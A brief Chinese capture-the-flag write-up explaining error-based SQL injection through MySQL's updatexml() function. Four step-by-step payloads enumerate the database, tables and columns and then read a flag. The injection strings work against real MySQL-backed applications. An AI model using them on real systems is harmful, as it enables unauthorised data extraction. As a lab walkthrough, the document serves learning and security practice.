原题
解题思路
报错注入是通过页面返回的报错信息查找目标数据,当然使用sqlmap也可以实现注入,但是sqlmap时间比较长。
MySQL的 updatexml() 函数在第二个参数为特殊字符时报错,并将第二个参数的内容显示在报错信息中。
查找数据库名为sqli,表有new和flag,flag中列flag。
-1 and (select updatexml(1, (concat (0x7e, (select database()))),1))
-1 and (select updatexml(1, (concat (0x7e, (select group_concat(table_name) from information_schema.tables where table_schema='sqli'))),1))
-1 and (select updatexml(1, (concat (0x7e, (select group_concat(column_name) from information_schema.columns where table_name='flag'))),1))
-1 and (select updatexml(1, concat(0x7e, (select flag from flag)), 1))